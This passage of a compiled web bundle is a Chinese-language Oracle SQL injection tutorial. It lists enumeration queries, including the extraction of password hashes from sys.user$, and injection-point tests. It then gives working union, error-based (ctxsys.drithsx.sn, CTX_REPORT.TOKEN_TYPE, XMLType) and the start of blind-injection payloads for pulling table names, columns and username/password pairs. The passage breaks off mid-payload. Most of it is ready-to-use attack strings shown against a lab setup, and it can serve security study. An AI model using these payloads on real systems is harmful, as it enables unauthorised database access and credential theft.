WHERE banner LIKE 'Oracle%';\nSELECT version FROM v$instance;\n"})}),"\n",(0,r.jsxs)(e.ul,{children:["\n",(0,r.jsx)(e.li,{children:"\u83b7\u53d6\u64cd\u4f5c\u7cfb\u7edf\u7248\u672c\uff1a"}),"\n"]}),"\n",(0,r.jsx)(e.pre,{children:(0,r.jsx)(e.code,{className:"language-sql",children:"SELECT banner FROM v$version where banner like 'TNS%';\n"})}),"\n",(0,r.jsxs)(e.ul,{children:["\n",(0,r.jsx)(e.li,{children:"\u83b7\u53d6\u5f53\u524d\u7528\u6237\u6743\u9650\u7684\u6240\u6709\u6570\u636e\u5e93\uff1a"}),"\n"]}),"\n",(0,r.jsx)(e.pre,{children:(0,r.jsx)(e.code,{className:"language-sql",children:"SELECT DISTINCT owner, table_name FROM all_tables;\n"})}),"\n",(0,r.jsxs)(e.ul,{children:["\n",(0,r.jsx)(e.li,{children:"\u83b7\u53d6\u5f53\u524d\u6570\u636e\u5e93\uff1a"}),"\n"]}),"\n",(0,r.jsx)(e.pre,{children:(0,r.jsx)(e.code,{className:"language-sql",children:"SELECT global_name FROM global_name;\nSELECT name FROM v$database;\nSELECT instance_name FROM v$instance;\nSELECT SYS.DATABASE_NAME FROM DUAL;\n"})}),"\n",(0,r.jsxs)(e.ul,{children:["\n",(0,r.jsx)(e.li,{children:"\u8868\u540d\u4e0e\u5b57\u6bb5\u540d\uff1a"}),"\n"]}),"\n",(0,r.jsx)(e.pre,{children:(0,r.jsx)(e.code,{className:"language-sql",children:"SELECT table_name FROM all_tables;\nSELECT table_name FROM user_tables;\nSELECT column_name FROM all_tab_columns;\nselect column_name from user_tab_columns;\n"})}),"\n",(0,r.jsxs)(e.ul,{children:["\n",(0,r.jsx)(e.li,{children:"\u83b7\u53d6DB\u6587\u4ef6\u8def\u5f84"}),"\n"]}),"\n",(0,r.jsx)(e.pre,{children:(0,r.jsx)(e.code,{className:"language-sql",children:"SELECT name FROM V$DATAFILE; \n"})}),"\n",(0,r.jsxs)(e.ul,{children:["\n",(0,r.jsx)(e.li,{children:"\u83b7\u53d6\u4e3b\u673a\u540d\u548cIP"}),"\n"]}),"\n",(0,r.jsx)(e.pre,{children:(0,r.jsx)(e.code,{className:"language-sql",children:"SELECT UTL_INADDR.get_host_name FROM dual;\nSELECT host_name FROM v$instance;\nSELECT UTL_INADDR.get_host_address FROM dual; \u67e5IP\nSELECT UTL_INADDR.get_host_name(\u2018127.0.0.1\u2019) FROM dual; \u67e5\u4e3b\u673a\u540d\u79f0\n"})}),"\n",(0,r.jsxs)(e.ul,{children:["\n",(0,r.jsx)(e.li,{children:"\u5f53\u524d\u6570\u636e\u5e93\u7528\u6237"}),"\n"]}),"\n",(0,r.jsx)(e.pre,{children:(0,r.jsx)(e.code,{className:"language-sql",children:"SELECT user FROM dual;\nSELECT SYS_CONTEXT('USERENV','AUTHENTICATED_IDENTITY') FROM dual;\nSELECT SYS_CONTEXT('USERENV','SESSION_USER') FROM dual;\nselect sys_context('userenv','current_user') from dual\n\n"})}),"\n",(0,r.jsxs)(e.ul,{children:["\n",(0,r.jsx)(e.li,{children:"\u6240\u6709\u6570\u636e\u5e93\u7528\u6237"}),"\n"]}),"\n",(0,r.jsx)(e.pre,{children:(0,r.jsx)(e.code,{className:"language-sql",children:"SELECT username FROM all_users ORDER BY username;\nSELECT name FROM sys.user$; -- priv\n"})}),"\n",(0,r.jsxs)(e.ul,{children:["\n",(0,r.jsx)(e.li,{children:"\u6240\u6709\u6570\u636e\u5e93\u7528\u6237\u7684\u5bc6\u7801 hash"}),"\n"]}),"\n",(0,r.jsx)(e.pre,{children:(0,r.jsx)(e.code,{className:"language-sql",children:"SELECT name, password, astatus FROM sys.user$; -- priv, <= 10g\nSELECT name,spare4 FROM sys.user$ -- priv, 11g\n"})}),"\n",(0,r.jsxs)(e.ul,{children:["\n",(0,r.jsx)(e.li,{children:"\u83b7\u53d6\u5f53\u524d\u7528\u6237\u6743\u9650"}),"\n"]}),"\n",(0,r.jsx)(e.pre,{children:(0,r.jsx)(e.code,{className:"language-sql",children:"SELECT * FROM session_privs; \n"})}),"\n",(0,r.jsxs)(e.ul,{children:["\n",(0,r.jsx)(e.li,{children:"\u83b7\u53d6\u6240\u6709\u7528\u6237\u6743\u9650"}),"\n"]}),"\n",(0,r.jsx)(e.pre,{children:(0,r.jsx)(e.code,{className:"language-sql",children:"SELECT * FROM dba_sys_privs; -- priv\n"})}),"\n",(0,r.jsxs)(e.ul,{children:["\n",(0,r.jsx)(e.li,{children:"\u83b7\u53d6\u7528\u6237\u89d2\u8272"}),"\n"]}),"\n",(0,r.jsx)(e.pre,{children:(0,r.jsx)(e.code,{className:"language-sql",children:"SELECT GRANTEE, GRANTED_ROLE FROM DBA_ROLE_PRIVS;\nSELECT DISTINCT grantee FROM dba_sys_privs;\n"})}),"\n",(0,r.jsxs)(e.ul,{children:["\n",(0,r.jsx)(e.li,{children:"\u5217\u51faDBA\u8d26\u6237"}),"\n"]}),"\n",(0,r.jsx)(e.pre,{children:(0,r.jsx)(e.code,{className:"language-sql",children:"SELECT DISTINCT grantee FROM dba_sys_privs WHERE ADMIN_OPTION = \u2018YES\u2019; -- priv\n"})}),"\n",(0,r.jsx)(e.h2,{id:"\u6ce8\u5165\u6d41\u7a0b",children:"\u6ce8\u5165\u6d41\u7a0b"}),"\n",(0,r.jsx)(e.h3,{id:"\u5bfb\u627e\u5e76\u5224\u65ad\u6ce8\u5165\u70b9",children:"\u5bfb\u627e\u5e76\u5224\u65ad\u6ce8\u5165\u70b9"}),"\n",(0,r.jsx)(e.p,{children:(0,r.jsx)(e.strong,{children:"\u6570\u5b57\u578b"})}),"\n",(0,r.jsx)(e.p,{children:"\u6570\u5b57\u578b\u7684\u6ce8\u5165,\u548c\u5176\u4ed6\u7c7b\u578b\u6570\u636e\u5e93\u65f6\u90fd\u4e00\u6837,\u81ea\u5df1\u6784\u9020\u52a0\u51cf\u4e58\u9664\u7684\u6761\u4ef6\u6765\u5224\u65ad\u6ce8\u5165"}),"\n",(0,r.jsxs)(e.ul,{children:["\n",(0,r.jsxs)(e.li,{children:["\u901a\u8fc7 ",(0,r.jsx)(e.code,{children:"<>"})," \u6765\u5224\u65ad"]}),"\n"]}),"\n",(0,r.jsx)(e.pre,{children:(0,r.jsx)(e.code,{className:"language-sql",children:"1 and 1<>6--+ #\u8fd4\u56de\u4e3a\u771f \u9875\u9762\u6b63\u5e38\n1 and 1<>1--+ #\u8fd4\u56de\u4e3a\u5047 \u9875\u9762\u5f02\u5e38\n"})}),"\n",(0,r.jsx)(e.p,{children:(0,r.jsx)(e.img,{src:"https://cdn.wjlin0.com/img/image-20230404101726037.png",alt:"image-20230404101726037"})}),"\n",(0,r.jsx)(e.p,{children:(0,r.jsx)(e.img,{src:"https://cdn.wjlin0.com/img/image-20230404101912641.png",alt:"image-20230404101912641"})}),"\n",(0,r.jsxs)(e.ul,{children:["\n",(0,r.jsx)(e.li,{children:"\u901a\u8fc7\u52a0\u51cf\u6cd5\u5224\u65ad"}),"\n"]}),"\n",(0,r.jsx)(e.p,{children:(0,r.jsx)(e.img,{src:"https://cdn.wjlin0.com/img/image-20230404102523196.png",alt:"image-20230404102523196"})}),"\n",(0,r.jsxs)(e.ul,{children:["\n",(0,r.jsx)(e.li,{children:"\u901a\u8fc7\u6570\u636e\u5e93\u62a5\u9519\u6765\u5224\u65ad"}),"\n"]}),"\n",(0,r.jsx)(e.pre,{children:(0,r.jsx)(e.code,{className:"language-sql",children:"# \u73af\u5883\u8981\u6539\u52a8\u624d\u6709\u622a\u56fe \n1 #\u8fd4\u56de\u4e3a\u6b63\u5e38\n1/0 #\u8fd4\u56de\u5f02\u5e38\n"})}),"\n",(0,r.jsx)(e.p,{children:(0,r.jsx)(e.img,{src:"https://cdn.wjlin0.com/img/image-20230404102941101.png",alt:"image-20230404102941101"})}),"\n",(0,r.jsx)(e.p,{children:(0,r.jsx)(e.img,{src:"https://cdn.wjlin0.com/img/image-20230404103017112.png",alt:"image-20230404103017112"})}),"\n",(0,r.jsxs)(e.ul,{children:["\n",(0,r.jsx)(e.li,{children:"\u901a\u8fc7\u6ce8\u91ca\u7b26\u6765\u5224\u65ad(\u591a\u884c\u6ce8\u91ca:/**/,\u5355\u884c\u6ce8\u91ca:\u2013)"}),"\n"]}),"\n",(0,r.jsx)(e.pre,{children:(0,r.jsx)(e.code,{className:"language-sql",children:"?id=1 #\u8fd4\u56de\u4e3a\u6b63\u5e38\n?id=1--test #\u4e5f\u8fd4\u56de\u6b63\u5e38\n?id=1/*test*/ #\u4e5f\u8fd4\u56de\u6b63\u5e38\n"})}),"\n",(0,r.jsx)(e.p,{children:(0,r.jsx)(e.img,{src:"https://cdn.wjlin0.com/img/image-20230404103046485.png",alt:"image-20230404103046485"})}),"\n",(0,r.jsx)(e.p,{children:(0,r.jsx)(e.img,{src:"https://cdn.wjlin0.com/img/image-20230404103709626.png",alt:"image-20230404103709626"})}),"\n",(0,r.jsx)(e.p,{children:(0,r.jsx)(e.strong,{children:"\u5b57\u7b26\u578b"})}),"\n",(0,r.jsxs)(e.p,{children:["\u5b57\u7b26\u578b\u6ce8\u5165\u76f8\u5bf9\u6570\u5b57\u578b\u6765\u8bf4,\u4f1a\u5b58\u5728\u95ed\u5408\u4e00\u4e9b\u6570\u636e\u5f15\u7528\u7b26\u53f7\u7684\u95ee\u9898,\u4f8b\u5982\u8bed\u53e5\u901a\u8fc7",(0,r.jsx)(e.code,{children:"'"}),"\u95ed\u5408\u8bed\u53e5\u540e,\u540e\u7eed\u5c31\u8981\u901a\u8fc7\u5355\u884c\u6ce8\u91ca\u7b26\u6765\u6ce8\u91ca\u5269\u4e0b\u7684\u5355\u5f15\u53f7,\u5176\u4ed6\u60c5\u51b5\u4e5f\u662f\u5982\u6b64\uff1a\uff08\u5047\u8bbe\u6570\u636e\u5e93\u4e2dname\u5b57\u6bb5\u6709test\u8fd9\u4e2a\u503c\uff09"]}),"\n",(0,r.jsxs)(e.ul,{children:["\n",(0,r.jsxs)(e.li,{children:["\u901a\u8fc7",(0,r.jsx)(e.code,{children:"<>"}),"\u6765\u5224\u65ad"]}),"\n"]}),"\n",(0,r.jsx)(e.pre,{children:(0,r.jsx)(e.code,{children:"?user=admin' and 1<>6--+ #\u8fd4\u56de\u6b63\u5e38\n?user=admin' and 1<>1--+ #\u8fd4\u56de\u5f02\u5e38\n"})}),"\n",(0,r.jsx)(e.p,{children:(0,r.jsx)(e.img,{src:"https://cdn.wjlin0.com/img/image-20230404104002437.png",alt:"image-20230404104002437"})}),"\n",(0,r.jsx)(e.p,{children:(0,r.jsx)(e.img,{src:"https://cdn.wjlin0.com/img/image-20230404104023229.png",alt:"image-20230404104023229"})}),"\n",(0,r.jsxs)(e.ul,{children:["\n",(0,r.jsxs)(e.li,{children:["\u4f7f\u7528\u5b57\u7b26\u4e32\u62fc\u63a5\u7b26",(0,r.jsx)(e.code,{children:"||"}),"\uff0c\u901a\u8fc7\u5224\u65ad\u62fc\u63a5\u7b26\u662f\u5426\u6267\u884c\uff0c\u4ece\u800c\u5224\u65ad\u662f\u5426\u5b58\u5728\u6ce8\u5165"]}),"\n"]}),"\n",(0,r.jsx)(e.pre,{children:(0,r.jsx)(e.code,{children:"?user=adm'||'in #\u8fd4\u56de\u6b63\u5e38\n?user=adm'||'123 #\u8fd4\u56de\u5f02\u5e38\n"})}),"\n",(0,r.jsx)(e.p,{children:(0,r.jsx)(e.img,{src:"https://cdn.wjlin0.com/img/image-20230404104115641.png",alt:"image-20230404104115641"})}),"\n",(0,r.jsx)(e.p,{children:(0,r.jsx)(e.img,{src:"https://cdn.wjlin0.com/img/image-20230404104122930.png",alt:"image-20230404104122930"})}),"\n",(0,r.jsx)(e.h3,{id:"\u8054\u5408\u67e5\u8be2",children:"\u8054\u5408\u67e5\u8be2"}),"\n",(0,r.jsxs)(e.p,{children:[(0,r.jsx)(e.strong,{children:"\u5229\u7528union select\u5c06\u60f3\u8981\u67e5\u8be2\u7684\u6570\u636e\u663e\u793a\u5728\u9875\u9762\u4e0a"}),"\uff0c\u6784\u9020\u6b63\u5e38\u8bed\u53e5\uff0c\u6210\u529f\u6267\u884cSQL\u8bed\u53e5\u67e5\u8be2\u6570\u636e\u3002"]}),"\n",(0,r.jsxs)(e.blockquote,{children:["\n",(0,r.jsx)(e.p,{children:"![Tip]"}),"\n",(0,r.jsxs)(e.p,{children:["\u56e0\u4e3a",(0,r.jsx)(e.code,{children:"Oracle"}),"\u662f\u5f3a\u5339\u914d\u7684\uff0c\u6240\u4ee5\u5728",(0,r.jsx)(e.code,{children:"Oracle"}),"\u8fdb\u884c\u7c7b\u4f3c",(0,r.jsx)(e.code,{children:"Union"}),"\u8054\u5408\u67e5\u8be2\u7684\u65f6\u5019\u5fc5\u987b\u8ba9\u5bf9\u5e94\u4f4d\u7f6e\u4e0a\u7684\u6570\u636e\u7c7b\u578b\u548c\u8868\u4e2d\u7684\u5217\u7684\u6570\u636e\u7c7b\u578b\u662f\u4e00\u81f4\u7684\uff0c\u4e5f\u53ef\u4ee5\u4f7f\u7528null\u4ee3\u66ff\u67d0\u4e9b\u65e0\u6cd5\u5feb\u901f\u731c\u6d4b\u51fa\u6570\u636e\u7c7b\u578b\u7684\u4f4d\u7f6e\uff0c\u6700\u540e\u67e5\u8be2\u8fd4\u56de\u6307\u5b9a\u7684\u8bb0\u5f55\u65f6\uff0c",(0,r.jsx)(e.code,{children:"oracle"}),"\u6ca1\u6709",(0,r.jsx)(e.code,{children:"limit"}),"\u51fd\u6570\uff0c\u8981\u901a\u8fc7",(0,r.jsx)(e.code,{children:"'>=0 <=1'"}),"\u8fd9\u79cd\u5f62\u5f0f\u6765\u6307\u5b9a\u3002"]}),"\n"]}),"\n",(0,r.jsx)(e.pre,{children:(0,r.jsx)(e.code,{className:"language-sql",children:"select \u5217\u540d from (select rownum r,\u5217\u540d from \u8868\u540d) where r>0 and r<5;\n"})}),"\n",(0,r.jsxs)(e.ul,{children:["\n",(0,r.jsx)(e.li,{children:"\u5148\u5224\u65ad\u5217\u6570,\u540cMysql\u4e00\u6837"}),"\n"]}),"\n",(0,r.jsx)(e.pre,{children:(0,r.jsx)(e.code,{className:"language-sql",children:"?id=1 order by 3 #\u8fd4\u56de\u6b63\u5e38\n?id=1 order by 4 #\u63d0\u793a\u62a5\u9519\n"})}),"\n",(0,r.jsx)(e.p,{children:(0,r.jsx)(e.img,{src:"https://cdn.wjlin0.com/img/image-20230404104356826.png",alt:"image-20230404104356826"})}),"\n",(0,r.jsx)(e.p,{children:(0,r.jsx)(e.img,{src:"https://cdn.wjlin0.com/img/image-20230404104405573.png",alt:"image-20230404104405573"})}),"\n",(0,r.jsx)(e.p,{children:"\u5f97\u51fa\u7ed3\u8bba\u6570\u636e\u4e3a: 3 \u5217"}),"\n",(0,r.jsxs)(e.ul,{children:["\n",(0,r.jsx)(e.li,{children:"\u7136\u540e\u5bf9\u6bcf\u4e00\u5217\u7684\u6570\u636e\u7c7b\u578b\u8fdb\u884c\u5224\u65ad\uff08\u53ef\u4ee5\u4f7f\u7528null\u4ee3\u66ff\u67d0\u4e9b\u65e0\u6cd5\u5feb\u901f\u731c\u6d4b\u51fa\u6570\u636e\u7c7b\u578b\u7684\u4f4d\u7f6e\uff09\uff0c\u5148\u9ed8\u8ba4\u6bcf\u4e00\u5217\u5747\u4e3anull\uff0c\u7136\u540e\u4ece\u7b2c\u4e00\u5217\u5f00\u59cb\u4f9d\u6b21\u5c06null\u6539\u4e3a\u6570\u5b57\uff0c\u5982\u679c\u62a5\u9519\u5219\u8bf4\u660e\u8be5\u5217\u662f\u5b57\u7b26\u578b\uff0c\u5426\u5219\u662f\u6570\u5b57\u578b\u3002"}),"\n"]}),"\n",(0,r.jsx)(e.pre,{children:(0,r.jsx)(e.code,{className:"language-sql",children:"?id=-1 union select 1,null,null from dual #\u6ca1\u6709\u62a5\u9519\uff0c\u53ef\u4ee5\u5224\u65ad\u7b2c\u4e00\u4e2a\u5b57\u6bb5\u4e3a\u6570\u5b57\u578b \n?id=-1 union select 1,0,null from dual #\u6ca1\u6709\u62a5\u9519\uff0c\u53ef\u4ee5\u5224\u65ad\u7b2c\u4e00\u4e2a\u5b57\u6bb5\u4e3a\u6570\u5b57\u578b\n"})}),"\n",(0,r.jsx)(e.p,{children:(0,r.jsx)(e.img,{src:"https://cdn.wjlin0.com/img/image-20230404104524029.png",alt:"image-20230404104524029"})}),"\n",(0,r.jsx)(e.p,{children:(0,r.jsx)(e.img,{src:"https://cdn.wjlin0.com/img/image-20230404104532414.png",alt:"image-20230404104532414"})}),"\n",(0,r.jsx)(e.p,{children:(0,r.jsx)(e.img,{src:"https://cdn.wjlin0.com/img/image-20230404104617733.png",alt:"image-20230404104617733"})}),"\n",(0,r.jsxs)(e.ul,{children:["\n",(0,r.jsx)(e.li,{children:"\u83b7\u53d6\u8868\u540d"}),"\n"]}),"\n",(0,r.jsx)(e.pre,{children:(0,r.jsx)(e.code,{className:"language-sql",children:"# \u83b7\u53d6\u7b2c\u4e00\u4e2a\u8868\u540d\u4e3aPERSONS\n?id=-1 union select null,table_name,null from user_tables where rownum=1 --+\n# \u83b7\u5f97\u7b2c\u4e8c\u4e2a\u8868\u540d\u4e3aTEST_PERSONS\n?id=-1 union select 1,table_name,null from user_tables%20 where table_name<>'PERSONS' --+\n"})}),"\n",(0,r.jsx)(e.p,{children:(0,r.jsx)(e.img,{src:"https://cdn.wjlin0.com/img/image-20230404105233355.png",alt:"image-20230404105233355"})}),"\n",(0,r.jsx)(e.p,{children:(0,r.jsx)(e.img,{src:"https://cdn.wjlin0.com/img/image-20230404105638626.png",alt:"image-20230404105638626"})}),"\n",(0,r.jsxs)(e.p,{children:["\u901a\u8fc7\u8fd9\u6837\u4e00\u4e2a\u4e00\u4e2a\u8868\u67e5\u6548\u7387\u6bd4\u8f83\u4f4e\uff0c\u53ef\u4ee5\u5148\u67e5\u8be2\u7528\u6237\u540d\uff0c\u518d\u7528\u7c7b\u4f3c mysql \u4e2d ",(0,r.jsx)(e.code,{children:"group_concat()"})," \u7684\u65b9\u5f0f\u67e5\u8be2\u8868\u540d"]}),"\n",(0,r.jsx)(e.pre,{children:(0,r.jsx)(e.code,{className:"language-sql",children:"# \u67e5\u8be2\u7528\u6237\u540d\u4e3atest\n?id=-1 union select 1,(select user from dual),null,null from dual\n# \u67e5\u8be2\u7528\u6237\u540d\u4e3aORACLE1\u62e5\u6709\u7684\u6240\u6709\u8868\n?id=-1 union select 1,(select LISTAGG(table_name,',')within group(order by owner)name from all_tables where owner='TEST'),null from dual\n \n"})}),"\n",(0,r.jsx)(e.p,{children:(0,r.jsx)(e.img,{src:"https://cdn.wjlin0.com/img/image-20230404105828042.png",alt:"image-20230404105828042"})}),"\n",(0,r.jsx)(e.p,{children:(0,r.jsx)(e.img,{src:"https://cdn.wjlin0.com/img/image-20230404105925720.png",alt:"image-20230404105925720"})}),"\n",(0,r.jsxs)(e.ul,{children:["\n",(0,r.jsx)(e.li,{children:"\u83b7\u53d6\u5b57\u6bb5\u540d"}),"\n"]}),"\n",(0,r.jsx)(e.pre,{children:(0,r.jsx)(e.code,{className:"language-sql",children:"# \u67e5\u8be2PERSONS\u8868\u7684\u7b2c\u4e00\u4e2a\u5b57\u6bb5\u540d\u4e3a USER_ID\n?id=-1+union+select+1,(select+column_name+from+user_tab_columns+where+rownum=1+and+table_name='PERSONS'),null+from+dual\n# \u67e5\u8be2PERSONS\u8868\u7684\u7b2c\u4e8c\u4e2a\u5b57\u6bb5\u540d\u4e3a USERNAME\n?id=-1+union+select+1,(select+column_name+from+user_tab_columns+where+rownum=1+and+table_name='PERSONS'+and+column_name<>'USER_ID'),null+from+dual\n# \u63a5\u4e0b\u6765\u540c\u7406\n"})}),"\n",(0,r.jsx)(e.p,{children:(0,r.jsx)(e.img,{src:"https://cdn.wjlin0.com/img/image-20230404131004845.png",alt:"image-20230404131004845"})}),"\n",(0,r.jsx)(e.p,{children:(0,r.jsx)(e.img,{src:"https://cdn.wjlin0.com/img/image-20230404131106052.png",alt:"image-20230404131106052"})}),"\n",(0,r.jsx)(e.p,{children:"\u540c\u6837\u5730\u53ef\u4ee5\u4f7f\u7528\u62fc\u63a5\u7684\u65b9\u5f0f\u4e00\u6b21\u6027\u67e5\u51fa\u6765"}),"\n",(0,r.jsx)(e.pre,{children:(0,r.jsx)(e.code,{className:"language-sql",children:"?id=-1+union+select+1,(select+LISTAGG(column_name,',')within+group(order+by+column_name)name+from+user_tab_columns+where+table_name='PERSONS'),null+from+dual\n"})}),"\n",(0,r.jsx)(e.p,{children:(0,r.jsx)(e.img,{src:"https://cdn.wjlin0.com/img/image-20230404131357822.png",alt:"image-20230404131357822"})}),"\n",(0,r.jsxs)(e.ul,{children:["\n",(0,r.jsx)(e.li,{children:"\u83b7\u53d6\u6570\u636e"}),"\n"]}),"\n",(0,r.jsx)(e.pre,{children:(0,r.jsx)(e.code,{className:"language-sql",children:"# \u67e5\u8be2\u7b2c\u4e00\u6761\u6570\u636e\uff0cusername password\n?id=-1+union+select+1,(select+(USERNAME)+from+PERSONS+where+rownum=1),null+from+dual\n?id=-1+union+select+1,(select+(PASSWORD)+from+PERSONS+where+rownum=1),null+from+dual\n"})}),"\n",(0,r.jsx)(e.p,{children:(0,r.jsx)(e.img,{src:"https://cdn.wjlin0.com/img/image-20230404132443734.png",alt:"image-20230404132443734"})}),"\n",(0,r.jsx)(e.p,{children:(0,r.jsx)(e.img,{src:"https://cdn.wjlin0.com/img/image-20230404132501739.png",alt:"image-20230404132501739"})}),"\n",(0,r.jsx)(e.p,{children:"\u8fd8\u53ef\u4ee5\u628a\u4e24\u4e2a\u5b57\u6bb5\u62fc\u5728\u4e00\u8d77\u67e5\u51fa\u6765"}),"\n",(0,r.jsx)(e.pre,{children:(0,r.jsx)(e.code,{className:"language-sql",children:"?id=-1+union+select+2,(select+concat(concat(USERNAME,':'),PASSWORD)+from+PERSONS+where+rownum=1),null+from+dual\n"})}),"\n",(0,r.jsx)(e.p,{children:(0,r.jsx)(e.img,{src:"https://cdn.wjlin0.com/img/image-20230404132706554.png",alt:"image-20230404132706554"})}),"\n",(0,r.jsx)(e.h3,{id:"\u62a5\u9519\u6ce8\u5165",children:"\u62a5\u9519\u6ce8\u5165"}),"\n",(0,r.jsx)(e.p,{children:(0,r.jsx)(e.strong,{children:"\u62a5\u9519\u6ce8\u5165\u662f\u4e00\u79cd\u901a\u8fc7\u51fd\u6570\u62a5\u9519\u524d\u8fdb\u884c\u5b50\u67e5\u8be2\u83b7\u53d6\u6570\u636e\uff0c\u518d\u901a\u8fc7\u9519\u8bef\u9875\u9762\u56de\u663e\u7684\u4e00\u79cd\u6ce8\u5165\u624b\u6cd5\uff0c\u4e0b\u9762\u4ecb\u7ecd\u51e0\u79cd\u62a5\u9519\u6ce8\u5165\u51fd\u6570\u4ee5\u53ca\u83b7\u53d6\u4e00\u4e9b\u5e38\u89c1\u7684\u83b7\u53d6\u6570\u636e\uff0c\u5b9e\u9645\u64cd\u4f5c\u53ea\u9700\u8981\u5c06\u5b50\u67e5\u8be2\u5185\u7684\u67e5\u8be2\u8bed\u53e5\u8fdb\u884c\u66ff\u6362\u5373\u53ef\u3002"})}),"\n",(0,r.jsxs)(e.blockquote,{children:["\n",(0,r.jsx)(e.p,{children:"![Tip]"}),"\n",(0,r.jsxs)(e.p,{children:["\u8fd9\u91cc\u6709\u4e2a\u5c0f\u6280\u5de7\uff0cmysql\u4e2d\u6211\u4eec\u8fdb\u884c\u62a5\u9519\u8bed\u53e5\u901a\u5e38\u662f\u7528 ",(0,r.jsx)(e.code,{children:"="})," \u4e0e\u4e00\u4e2a\u6570\u5b57\u6216\u8005\u5b57\u7b26\u6bd4\u8f83\u6765\u6784\u9020\u62a5\u9519\u8bed\u53e5\uff0c\u4f46\u662f\u5728oracle\u4e2d\u7531\u4e8e\u5bf9\u5b57\u7b26\u7c7b\u578b\u7684\u4e25\u683c\u5224\u65ad\uff0c\u5982\u679c ",(0,r.jsx)(e.code,{children:"="})," \u4e24\u8fb9\u7684\u7c7b\u578b\u4e0d\u5339\u914d\u7684\u8bdd\u5c31\u4f1a\u8fd4\u56de\u7c7b\u578b\u4e0d\u5bf9\u7684\u62a5\u9519\uff0c\u800c\u6211\u4eec\u60f3\u8981\u7684\u62a5\u9519\u4fe1\u606f\u4e0d\u56de\u663e\u793a\uff0c\u8fd9\u91cc\u53ef\u4ee5\u5728\u62a5\u9519\u8bed\u53e5\u540e\u9762\u52a0\u4e0a ",(0,r.jsx)(e.code,{children:"is not null"})," \u6765\u66ff\u4ee3 ",(0,r.jsx)(e.code,{children:"="})," \uff0c\u5c31\u4e0d\u4f1a\u6709\u4e0a\u9762\u7684\u95ee\u9898\u3002"]}),"\n"]}),"\n",(0,r.jsxs)(e.ul,{children:["\n",(0,r.jsx)(e.li,{children:"ctxsys.drithsx.sn"}),"\n"]}),"\n",(0,r.jsx)(e.pre,{children:(0,r.jsx)(e.code,{className:"language-sql",children:"?id=1 and (ctxsys.drithsx.sn(1, (SELECT username FROM all_users where rownum=1)))is not null\n"})}),"\n",(0,r.jsx)(e.p,{children:(0,r.jsx)(e.img,{src:"https://cdn.wjlin0.com/img/image-20230404134858966.png",alt:"image-20230404134858966"})}),"\n",(0,r.jsxs)(e.ul,{children:["\n",(0,r.jsx)(e.li,{children:"CTXSYS.CTX_REPORT.TOKEN_TYPE"}),"\n"]}),"\n",(0,r.jsxs)(e.p,{children:["\u4f5c\u7528\u4e0e ",(0,r.jsx)(e.code,{children:"ctxsys.drithsx.sn"})," \u7c7b\u4f3c\uff0c\u7528\u4e8e\u5904\u7406\u6587\u672c"]}),"\n",(0,r.jsx)(e.pre,{children:(0,r.jsx)(e.code,{className:"language-sql",children:"?id=-1+and+(select+CTXSYS.CTX_REPORT.TOKEN_TYPE((SELECT+username+FROM+all_users+where+rownum=1),'123')+from+dual)is+not+null \n"})}),"\n",(0,r.jsx)(e.p,{children:(0,r.jsx)(e.img,{src:"https://cdn.wjlin0.com/img/image-20230404135230818.png",alt:"image-20230404135230818"})}),"\n",(0,r.jsxs)(e.ul,{children:["\n",(0,r.jsx)(e.li,{children:"XMLType"}),"\n"]}),"\n",(0,r.jsxs)(e.p,{children:["XMLType \u5728\u8c03\u7528\u7684\u65f6\u5019\u5fc5\u987b\u4ee5",(0,r.jsx)(e.code,{children:"<:"}),"\u5f00\u5934\uff0c",(0,r.jsx)(e.code,{children:">"}),"\u7ed3\u5c3e\uff0c\u5373 ",(0,r.jsx)(e.code,{children:"'<:'||balabala||'>'"})," \u6216\u8005 ",(0,r.jsx)(e.code,{children:"chr(60)||chr(58)balabal||chr(62\uff09"}),"\u3002\u53e6\u5916\u9700\u8981\u6ce8\u610f\u7684\u662f\u5982\u679c\u8fd4\u56de\u7684\u6570\u636e\u79cd\u6709\u7a7a\u683c\u7684\u8bdd\uff0c\u5b83\u4f1a\u81ea\u52a8\u622a\u65ad\uff0c\u5bfc\u81f4\u6570\u636e\u4e0d\u5b8c\u6574\uff0c\u8fd9\u79cd\u60c5\u51b5\u4e0b\u5148\u8f6c\u4e3a hex\uff0c\u518d\u5bfc\u51fa\u3002"]}),"\n",(0,r.jsx)(e.pre,{children:(0,r.jsx)(e.code,{className:"language-sql",children:"?id=-1+and+(select+upper(XMLType(chr(60)||chr(58)||(select+user+from+dual)||chr(62)))+from+dual)is+not+null\n?id=1+and+(select+XMLType('<:'||(select+user+from+dual)||'>')+from+dual)is+not+null\n \n"})}),"\n",(0,r.jsx)(e.p,{children:(0,r.jsx)(e.img,{src:"https://cdn.wjlin0.com/img/image-20230404140028285.png",alt:"image-20230404140028285"})}),"\n",(0,r.jsx)(e.p,{children:(0,r.jsx)(e.img,{src:"https://cdn.wjlin0.com/img/image-20230404140140485.png",alt:"image-20230404140140485"})}),"\n",(0,r.jsx)(e.h3,{id:"\u5e03\u5c14\u76f2\u6ce8",children:"\u5e03\u5c14\u76f2\u6ce8"}),"\n",(0,r.jsx)(e.p,{children:"\u901a\u8fc7\u6784\u9020\u4e0d\u540c\u6761\u4ef6,\u8fd4\u56de\u8fd4\u56de\u9875\u9762\u7684\u4e0d\u540c,\u5c31\u5f62\u6210\u4e86Bool\u503c\u7684\u6ce8\u5165"}),"\n",(0,r.jsxs)(e.ul,{children:["\n",(0,r.jsxs)(e.li,{children:["\u76f4\u63a5\u4f7f\u7528 ",(0,r.jsx)(e.code,{children:"substr()"})," \u5206\u5272\u5b57\u7b26\u4e32\u8fdb\u884c\u76f2\u6ce8"]}),"\n"]}),"\n",(0,r.jsxs)(e.p,{children:[(0,r.jsx)(e.code,{children:"substr()"})," \uff1a\u7528\u6cd5\u548cmysql\u4e00\u6837\uff0c\u540c\u6837\u662f\u8981\u4ece1\u5f00\u59cb\uff0c\u800c\u4e0d\u662f0\u3002"]}),"\n",(0,r.jsx)(e.pre,{children:(0,r.jsx)(e.code,{className:"language-sql",children:"# \u76f2\u6ce8\u7528\u6237\u540d\u7b2c\u4e00\u4f4d\n# \u8fd4\u56de\u6b63\u5e38\u9875\u9762\n?id=-1+or+(select+substr(user,1,1)+from+dual)='T'\n# 